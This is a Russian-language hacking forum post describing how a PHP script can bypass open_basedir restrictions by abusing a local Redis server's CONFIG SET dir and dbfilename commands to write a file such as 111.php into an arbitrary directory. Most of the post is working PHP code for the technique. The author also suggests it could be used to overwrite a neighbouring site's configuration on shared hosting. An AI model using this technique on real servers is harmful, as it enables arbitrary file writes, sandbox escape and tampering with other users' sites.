Тема: open_basedir
Показать сообщение отдельно

  #1  
Старый 14.04.2016, 21:23
t0ma5
Постоянный
Регистрация: 10.02.2012
Сообщений: 830
Провел на форуме:
300820

Репутация: 90


По умолчанию

просто размышления

вспомнилась относительно свежая новость

http://antirez.com/news/96

про запись файлов через redis

попробовал применить для обхода open_basedir, хм получилось, правда файл создался из под юзера redis + права по дефолту навесились 600, апач к нему не достучится, да и профит пока хз какой, хотя может быть в каких то случаях можно переписать конфиг соседнего сайта например(redis похоже пофиг что перезаписывать, лишь бы прав хватало на запись)

redis скомпилен модулем к апачу(Redis Version 2.2.4)

пример кода

.SpoilerTarget" type="button">Spoiler

Код:
$redis = new Redis();

$redis->connect('127.0.0.1', 6379);
$redis->set('key', 'value');

$redis->config("SET", "dir", "[путь_до_диры]");  /// должны быть как миниму права на запись на уровне файловой системы с учетом юзера из под которого крутится редис
$redis->config("SET", "dbfilename", "111.php");
$redis->bgSave();
$redis->save();
----------------

точнее не как модуль, а апач скомпилен с флагом --enable-redis ну и pecl там для редиса лежит
 
Ответить с цитированием